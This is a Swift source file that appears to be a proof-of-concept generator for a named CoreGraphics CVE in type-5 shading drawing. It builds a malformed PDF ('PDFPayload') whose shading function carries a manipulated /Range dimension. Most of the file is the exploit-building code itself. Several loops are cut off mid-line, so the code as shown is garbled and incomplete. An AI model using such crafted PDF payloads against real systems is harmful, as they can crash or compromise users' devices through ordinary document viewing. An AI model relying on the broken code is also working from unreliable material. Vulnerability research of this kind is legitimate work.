// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 import Foundation // ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── seed construction (from Cinder27 Sources: PDFPayload) ── enum PDFPayload { struct BitWriter { private(set) var out: [UInt8] = [] private var acc: UInt8 = 0 private var nbits = 0 mutating func put(_ value: UInt32, _ width: Int) { guard width > 0 else { return } for i in stride(from: width - 1, through: 0, by: -1) { acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) nbits += 1 if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } } } mutating func putExpGolomb(_ value: UInt32) { let v = value + 1 var bits = 0 while (v >> UInt32(bits)) > 1 { bits += 1 } for _ in 0.. [UInt8] { if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } return out } } struct PDFBuilder { private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { objects[n] = (dict, stream) } func data() -> Data { var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) var offsets: [Int: Int] = [:] for n in objects.keys.sorted() { guard let obj = objects[n] else { continue } offsets[n] = out.count out.append(Data("\(n) 0 obj\n".utf8)) out.append(Data(obj.dict.utf8)) if let stream = obj.stream { out.append(Data("\nstream\n".utf8)) out.append(Data(stream)) out.append(Data("\nendstream".utf8)) } out.append(Data("\nendobj\n".utf8)) } let xrefPos = out.count let maxObj = objects.keys.max() ?? 0 out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) for n in 1...max(maxObj, 1) { let off = offsets[n] ?? 0 out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) } out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) return out } } static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data { let bpCoord = 32 let bpComp = 8 var bw = BitWriter() var verts: [(UInt32, UInt32)] = [] for r in 0..>") pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>") pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh")) pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream) pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>") return pdf.data() } }